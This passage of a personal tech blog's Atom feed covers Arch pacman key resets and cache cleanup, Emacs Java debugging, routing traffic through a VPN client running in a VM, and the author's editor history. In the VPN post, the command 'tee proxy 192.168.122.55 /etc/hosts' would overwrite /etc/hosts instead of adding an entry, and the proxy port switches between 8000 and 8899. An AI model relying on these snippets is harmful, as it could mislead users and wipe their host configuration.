error: failed to commit transaction (unexpected error)
Errors occurred, no packages were upgraded.
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;So, I created backup of the old gnupg direcotry and moved it out of the way:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;[root@quanah ~]# mv /etc/pacman.d/gnupg /etc/pacman.d/$(date --iso)-gnupg
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;[root@quanah ~]# pacman-key --init
gpg: checking the trustdb
gpg: [don&amp;#39;t know]: invalid packet (ctb=00)
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Found later out that resetting the keys was &lt;a href="https://wiki.archlinux.org/title/Pacman/Package_signing#Resetting_all_the_keys"&gt;documented on the Arch
wiki&lt;/a&gt;.&lt;/p&gt;</content><category term="linux"/><category term="arch"/></entry><entry><title>Clearing the Arch Package Cache</title><link href="https://skybert.net/linux/clearing-the-arch-package-cache" rel="alternate"/><published>2024-05-27T00:00:00+02:00</published><updated>2024-05-27T00:00:00+02:00</updated><author><name>Torstein Krause Johansen</name></author><id>tag:skybert.net,2024-05-27:/linux/clearing-the-arch-package-cache</id><summary type="html">&lt;p&gt;Just like on Debian, Arch will not clear its package cache:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$ du -hs /var/cache/pacman/pkg/
103G    /var/cache/pacman/pkg/
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Just like you can clear it with &lt;code&gt;apt-get clean&lt;/code&gt; on Debian, you can do:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;# pacman -Scc
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;However, if you only pass it &lt;code&gt;-Sc&lt;/code&gt;, it'll only remove the package …&lt;/p&gt;</summary><content type="html">&lt;p&gt;Just like on Debian, Arch will not clear its package cache:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$ du -hs /var/cache/pacman/pkg/
103G    /var/cache/pacman/pkg/
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Just like you can clear it with &lt;code&gt;apt-get clean&lt;/code&gt; on Debian, you can do:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;# pacman -Scc
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;However, if you only pass it &lt;code&gt;-Sc&lt;/code&gt;, it'll only remove the package
versions you &lt;em&gt;don't&lt;/em&gt; have installed:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;root&lt;/span&gt;&lt;span class="err"&gt;@&lt;/span&gt;&lt;span class="n"&gt;quanah&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;~&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="c1"&gt;# pacman -Sc&lt;/span&gt;
&lt;span class="n"&gt;Packages&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;to&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;keep&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;All&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;locally&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;installed&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;packages&lt;/span&gt;

&lt;span class="n"&gt;Cache&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;directory&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="k"&gt;var&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;cache&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;pacman&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;pkg&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;
&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Do&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;you&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;want&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;to&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;remove&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;all&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;other&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;packages&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;cache&lt;/span&gt;&lt;span class="err"&gt;?&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;Y&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;n&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Adding the second &lt;code&gt;c&lt;/code&gt; makes it remove those archives too.&lt;/p&gt;
&lt;p&gt;Happy cleaning!&lt;/p&gt;</content><category term="linux"/><category term="arch"/></entry><entry><title>java with eglot dape</title><link href="https://skybert.net/emacs/java-with-eglot-dape" rel="alternate"/><published>2024-02-27T00:00:00+01:00</published><updated>2024-02-27T00:00:00+01:00</updated><author><name>Torstein Krause Johansen</name></author><id>tag:skybert.net,2024-02-27:/emacs/java-with-eglot-dape</id><summary type="html">&lt;h2&gt;Debugging&lt;/h2&gt;
&lt;p&gt;Download the latest version of the jdtls java plugin. You can find the
latest version number on
&lt;a href="https://github.com/microsoft/java-debug/releases/"&gt;github.com/microsoft/java-debug&lt;/a&gt;. Then,
use &lt;code&gt;mvn&lt;/code&gt; to download the file:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$ mvn \
  org.apache.maven.plugins:maven-dependency-plugin:2.1:get \
  -Dartifact=com.microsoft.java:com.microsoft.java.debug.plugin:0.51.1 …&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;</summary><content type="html">&lt;h2&gt;Debugging&lt;/h2&gt;
&lt;p&gt;Download the latest version of the jdtls java plugin. You can find the
latest version number on
&lt;a href="https://github.com/microsoft/java-debug/releases/"&gt;github.com/microsoft/java-debug&lt;/a&gt;. Then,
use &lt;code&gt;mvn&lt;/code&gt; to download the file:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$ mvn \
  org.apache.maven.plugins:maven-dependency-plugin:2.1:get \
  -Dartifact=com.microsoft.java:com.microsoft.java.debug.plugin:0.51.1
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;We then know the path of the JAR file:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;~/.m2/repository/com/microsoft/java/com.microsoft.java.debug.plugin/0.51.1/com.microsoft.java.debug.plugin-0.51.1.jar
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;add-to-list&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="ss"&gt;&amp;#39;eglot-server-programs&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="o"&gt;`&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="nv"&gt;java-mode&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;java-ts-mode&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;jdtls&amp;quot;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="ss"&gt;:initializationOptions&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="ss"&gt;:bundles&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;[&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;/home/torstein/.m2/repository/com/microsoft/java/com.microsoft.java.debug.plugin/0.51.1/com.microsoft.java.debug.plugin-0.51.1.jar&amp;quot;&lt;/span&gt;&lt;span class="nv"&gt;]&lt;/span&gt;&lt;span class="p"&gt;))))&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;</content><category term="emacs"/><category term="emacs"/></entry><entry><title>VPN in a Box</title><link href="https://skybert.net/linux/vpn-in-a-box" rel="alternate"/><published>2024-02-06T00:00:00+01:00</published><updated>2024-02-06T00:00:00+01:00</updated><author><name>Torstein Krause Johansen</name></author><id>tag:skybert.net,2024-02-06:/linux/vpn-in-a-box</id><summary type="html">&lt;p&gt;&lt;img
  class="centered"
  style="width: 1024px"
  src="/graphics/2024/vpn-in-box.png"
  alt="vpn in box"
/&gt;&lt;/p&gt;
&lt;h2&gt;Why run the VPN client in a VM?&lt;/h2&gt;
&lt;p&gt;The Cisco AnyConnect VPN client will not allow you to &lt;code&gt;ssh&lt;/code&gt; into your
VM and set up your VPN in case the server side profile is configured
with:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;LinuxVPNEstablishment&amp;gt;&lt;/span&gt;LocalUsersOnly&lt;span class="nt"&gt;&amp;lt;/LinuxVPNEstablishment&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;There &lt;a href="https://skybert.net/linux/running-cisco-anyconnect-vpn-on-a-headless-machine/"&gt;are ways to hack
this&lt;/a&gt;,
but I have come to …&lt;/p&gt;</summary><content type="html">&lt;p&gt;&lt;img
  class="centered"
  style="width: 1024px"
  src="/graphics/2024/vpn-in-box.png"
  alt="vpn in box"
/&gt;&lt;/p&gt;
&lt;h2&gt;Why run the VPN client in a VM?&lt;/h2&gt;
&lt;p&gt;The Cisco AnyConnect VPN client will not allow you to &lt;code&gt;ssh&lt;/code&gt; into your
VM and set up your VPN in case the server side profile is configured
with:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;LinuxVPNEstablishment&amp;gt;&lt;/span&gt;LocalUsersOnly&lt;span class="nt"&gt;&amp;lt;/LinuxVPNEstablishment&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;There &lt;a href="https://skybert.net/linux/running-cisco-anyconnect-vpn-on-a-headless-machine/"&gt;are ways to hack
this&lt;/a&gt;,
but I have come to settle on running VPN in an VM with X:&lt;/p&gt;
&lt;h2&gt;VM with a lightweight distro and desktop environment&lt;/h2&gt;
&lt;p&gt;I run a VM with &lt;a href="https://debian.org"&gt;Debian&lt;/a&gt;. It runs
&lt;a href="https://www.x.org/wiki/"&gt;X&lt;/a&gt; and has a light DM, like
&lt;a href="https://fluxbox.org"&gt;Fluxbox&lt;/a&gt;, so that it doesn't consume too many
resources.&lt;/p&gt;
&lt;h2&gt;VPN&lt;/h2&gt;
&lt;p&gt;In the VM, I've installed Cisco AnyConnect VPN.&lt;/p&gt;
&lt;h2&gt;HTTP proxy&lt;/h2&gt;
&lt;p&gt;In the VM, I've installed
&lt;a href="http://tinyproxy.github.io/"&gt;tinyproxy&lt;/a&gt;. It's started by default, so
you just need to note down the port number and use that when launching
your browsers:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$ grep ^Port /etc/tinyproxy/tinyproxy.conf
Port 8000
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h2&gt;Giving the VM a name&lt;/h2&gt;
&lt;p&gt;Naming is hard, I've called it &lt;code&gt;proxy&lt;/code&gt;. Since I run it in KVM managed
by &lt;code&gt;virsh&lt;/code&gt;, I query it for its IP like so:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;virsh&lt;span class="w"&gt; &lt;/span&gt;net-dhcp-leases&lt;span class="w"&gt; &lt;/span&gt;default&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;grep&lt;span class="w"&gt; &lt;/span&gt;proxy&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;awk&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;{print $5}&amp;#39;&lt;/span&gt;
&lt;span class="m"&gt;192&lt;/span&gt;.168.122.55/24
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;And add it to my &lt;code&gt;/etc/hosts&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;# tee proxy 192.168.122.55 /etc/hosts
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Now, whenever I say &lt;code&gt;proxy&lt;/code&gt;, my machine routes the request to the VM.&lt;/p&gt;
&lt;h2&gt;SSH through the VPN&lt;/h2&gt;
&lt;p&gt;When I need to &lt;code&gt;ssh&lt;/code&gt; into a machine that requires me to be on the VPN,
I use:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$ ssh -J proxy bugs.internal
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h2&gt;Web browser through the VPN&lt;/h2&gt;
&lt;p&gt;When I need to browse a web site that requires me to be on the VPN, I
start it with an extra option specifying the HTTP proxy:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;google-chrome-stable&lt;span class="w"&gt; &lt;/span&gt;--proxy-server&lt;span class="o"&gt;=&lt;/span&gt;proxy:8000&lt;span class="w"&gt; &lt;/span&gt;https://accounting.internal&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;&amp;amp;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;When I need to use &lt;code&gt;curl&lt;/code&gt; over the VPN, I pass the &lt;code&gt;-x&lt;/code&gt; parameter:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$ curl -x proxy:8000 https://accounting.internal
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h2&gt;Maven through the VPN&lt;/h2&gt;
&lt;p&gt;In my &lt;code&gt;.zshrc&lt;/code&gt; (&lt;code&gt;.bashrc&lt;/code&gt; work just the same), I have the following
that adds proxy settings to the &lt;code&gt;MAVEN_OPTS&lt;/code&gt; variable depending on an
internal website is available:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;curl&lt;span class="w"&gt; &lt;/span&gt;--max-time&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;--fail&lt;span class="w"&gt; &lt;/span&gt;-s&lt;span class="w"&gt; &lt;/span&gt;-x&lt;span class="w"&gt; &lt;/span&gt;proxy:8899&lt;span class="w"&gt; &lt;/span&gt;-I&lt;span class="w"&gt; &lt;/span&gt;https://bugs.internal/&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nb"&gt;export&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;MAVEN_OPTS&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;MAVEN_OPTS&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;
&lt;span class="s2"&gt;    -Dhttp.proxyHost=proxy&lt;/span&gt;
&lt;span class="s2"&gt;    -Dhttp.proxyPort=8000&lt;/span&gt;
&lt;span class="s2"&gt;    -Dhttps.proxyHost=proxy&lt;/span&gt;
&lt;span class="s2"&gt;    -Dhttps.proxyPort=8000&lt;/span&gt;
&lt;span class="s2"&gt;  &amp;quot;&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h2&gt;Anything through the VPN&lt;/h2&gt;
&lt;p&gt;Most command line programs support the environment variables:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nv"&gt;no_proxy&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;localhost
&lt;span class="nv"&gt;http_proxy&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;
&lt;span class="nv"&gt;https_proxy&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;I have the following in my &lt;code&gt;.zshrc&lt;/code&gt; to set these variables dynamically:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;curl&lt;span class="w"&gt; &lt;/span&gt;--max-time&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;--fail&lt;span class="w"&gt; &lt;/span&gt;-s&lt;span class="w"&gt; &lt;/span&gt;-x&lt;span class="w"&gt; &lt;/span&gt;proxy:8899&lt;span class="w"&gt; &lt;/span&gt;-I&lt;span class="w"&gt; &lt;/span&gt;https://bugs.internal/&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nb"&gt;export&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;no_proxy&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;localhost
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nb"&gt;export&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;NO_PROXY&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;no_proxy&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nb"&gt;export&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;http_proxy&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="err"&gt;&amp;#39;&lt;/span&gt;http://proxy:8000
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nb"&gt;export&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;https_proxy&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;http_proxy&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nb"&gt;export&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;HTTP_PROXY&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;http_proxy&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nb"&gt;export&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;HTTPS_PROXY&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;http_proxy&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h2&gt;Success&lt;/h2&gt;
&lt;p&gt;That's it. All other requests, I use regular browser sessions that
don't route through the VPN. Which is most of what I need: Teams,
Slack, Outlook, Git++&lt;/p&gt;
&lt;p&gt;Happy networking!&lt;/p&gt;</content><category term="linux"/><category term="linux"/><category term="vpn"/></entry><entry><title>My Editor Journey</title><link href="https://skybert.net/various/my-editor-journey" rel="alternate"/><published>2024-02-02T00:00:00+01:00</published><updated>2024-02-02T00:00:00+01:00</updated><author><name>Torstein Krause Johansen</name></author><id>tag:skybert.net,2024-02-02:/various/my-editor-journey</id><summary type="html">&lt;h2&gt;1991 - edit&lt;/h2&gt;
&lt;p&gt;I got my first PC late December 1991. On it was DOS 3 something. I
later got an upgrade to DOS 5 and then 6. The editor on the last two
at least, was &lt;a href="https://en.wikipedia.org/wiki/MS-DOS_Editor"&gt;edit&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;1993-1999 - Notepad&lt;/h2&gt;
&lt;p&gt;&lt;a href="https://en.wikipedia.org/wiki/Windows_Notepad"&gt;Notepad&lt;/a&gt; on Windows
3.1, 3.11, 95, 98, NT 4 …&lt;/p&gt;</summary><content type="html">&lt;h2&gt;1991 - edit&lt;/h2&gt;
&lt;p&gt;I got my first PC late December 1991. On it was DOS 3 something. I
later got an upgrade to DOS 5 and then 6. The editor on the last two
at least, was &lt;a href="https://en.wikipedia.org/wiki/MS-DOS_Editor"&gt;edit&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;1993-1999 - Notepad&lt;/h2&gt;
&lt;p&gt;&lt;a href="https://en.wikipedia.org/wiki/Windows_Notepad"&gt;Notepad&lt;/a&gt; on Windows
3.1, 3.11, 95, 98, NT 4.&lt;/p&gt;
&lt;p&gt;I also used specialised editors for certain tasks, like &lt;a href="https://en.wikipedia.org/wiki/Microsoft_FrontPage"&gt;Front
Page&lt;/a&gt;, &lt;a href="https://en.wikipedia.org/wiki/HoTMetaL"&gt;HoTMetaL
Pro&lt;/a&gt; and
&lt;a href="https://en.wikipedia.org/wiki/Macromedia_HomeSite"&gt;HomeSite&lt;/a&gt; for
HTML.&lt;/p&gt;
&lt;h2&gt;1999-2000 - UltraEdit&lt;/h2&gt;
&lt;p&gt;During my first year, year and a half in univeristy, I came to like
&lt;a href=""&gt;UltraEdit&lt;/a&gt; quite a bit. In my first semester, we learned Visual
Basic, so I used that, of course, but used UltraEdit for everything
else.&lt;/p&gt;
&lt;p&gt;I used UltraEdit more and more and quickly ditched &lt;a href=""&gt;JBuilder&lt;/a&gt; for it
when we started learning Java in the second semester. I quickly
decided I could do without fancy auto completion when I had a better
editing experience.&lt;/p&gt;
&lt;h2&gt;1999 - Visual Studio&lt;/h2&gt;
&lt;p&gt;The first programming course we had in univeristy was Visual
Basic 6. The IDE was great, with fast auto completion, great, context
aware help system (just hit &lt;kbd&gt;F1&lt;/kbd&gt;!) and instant gratification
by running your GUI application when hitting &lt;kbd&gt;F5&lt;/kbd&gt;. No matter
how bad your code was, &lt;em&gt;something&lt;/em&gt; came up when you hit that
&lt;kbd&gt;F5&lt;/kbd&gt; key.&lt;/p&gt;
&lt;p&gt;Good times.&lt;/p&gt;
&lt;h2&gt;2000 - Pico&lt;/h2&gt;
&lt;p&gt;In the very beginning of my Unix journey, I used
&lt;a href="https://en.wikipedia.org/wiki/Pico_(text_editor)"&gt;pico&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;2000 → current - Emacs&lt;/h2&gt;
&lt;p&gt;&lt;a href="https://www.gnu.org/software/emacs/"&gt;Emacs&lt;/a&gt;. I was intrigued by this
mysterious editor when getting into my second semester as a computer
science student at the &lt;a href="https://hiof.no"&gt;Østfold Univeristy College in
Halden&lt;/a&gt;. But we were not instant friends, Emacs and
I. It was not very cooperative and only displayed black text on a
white background (in Windows) or yellow-ish on green background on my
RedHat Linux 6.1 dekstop.&lt;/p&gt;
&lt;p&gt;But gurus like Thomas Malt and Audun Vaaler were using it, as was the
dean Jan Høiberg, so I supposed it &lt;em&gt;had&lt;/em&gt; more in store and I shouldn't
judge it by its covers.&lt;/p&gt;
&lt;p&gt;So, I spent &lt;em&gt;ages&lt;/em&gt; getting
&lt;a href="https://www.emacswiki.org/emacs/JavaDevelopmentEnvironment"&gt;JDE&lt;/a&gt;
(later renamed JDEE) to work. I had to configure Emacs even to get
colours, and getting true Java auto completion was quite an
undertaking for a newbie. I was stubborn enough, though and eventually
got Emacs to be a decent Java development environment. From that day,
I've never been able to leave Emacs (like the &lt;a href="https://nn.wikipedia.org/wiki/Hotel_California"&gt;Hotel
California&lt;/a&gt;).&lt;/p&gt;
&lt;p&gt;This is what my Emacs looked like in 2002 on the Window Maker,
complete with a transparent &lt;a href="https://linux.die.net/man/1/aterm"&gt;aterm&lt;/a&gt;
on the side.&lt;/p&gt;
&lt;p&gt;&lt;a href="/graphics/2002/opengl_on_linux.jpg"&gt;
  &lt;img
    class="centered"
    style="width: 1024px"
    src="/graphics/2002/opengl_on_linux.jpg"
    alt="My Emacs anno 2002"
  /&gt;
&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;I'm still using and extending the &lt;a href="https://gitlab.com/skybert/my-little-friends/-/blob/master/emacs/.emacs"&gt;.emacs
&lt;/a&gt;
configuration file I started with back in 2000. Some things are
&lt;em&gt;exactly&lt;/em&gt; like they were in 2002, like the
&lt;code&gt;tkj-default-code-style-hook()&lt;/code&gt; function I wrote to get Java and C
indentation the way I wanted.&lt;/p&gt;
&lt;h2&gt;2003 → current - vi(m)&lt;/h2&gt;
&lt;p&gt;I got my first full time job as a programmer just before
Christmas 2003. It was then, I stared exploring another Unix system,
namely HP-UX. On those servers, there was neither Pico, nor Emacs, but
there was &lt;code&gt;vi&lt;/code&gt; (there was no &lt;code&gt;bash&lt;/code&gt; either, for that matter, had to
use &lt;code&gt;tcsh&lt;/code&gt;). I started using &lt;code&gt;vi&lt;/code&gt; locally too, and eventually came to
the enhanced &lt;code&gt;vim&lt;/code&gt; version.&lt;/p&gt;
&lt;p&gt;Ever since that day, I've continued to use &lt;code&gt;vim&lt;/code&gt; and I'm fluent enough
so that I can navigate files, search and replace, line wrap, auto
complete and so on. &lt;code&gt;vi&lt;/code&gt; has been a trusted tool whatever server I've
worked on, including Solaris, HP-X, FreeBSD, OpenBSD, Linux or OS X.
Learning &lt;code&gt;vi&lt;/code&gt; is extremely valuable to any computer engineer,
regardless of preferered development environment.&lt;/p&gt;
&lt;h2&gt;2004 → current - IntelliJ IDEA&lt;/h2&gt;
&lt;p&gt;Although I use Emacs about 99% of the time, I &lt;em&gt;do&lt;/em&gt; use IntelliJ for
debugging Java code. Its debugger is still &lt;em&gt;way&lt;/em&gt; ahead of anything
I've tried in Emacs, including &lt;code&gt;jdb&lt;/code&gt; from JDEE, JDIbug and
dap-mode. Best of which by far was JDIbug, but that's sadly long since
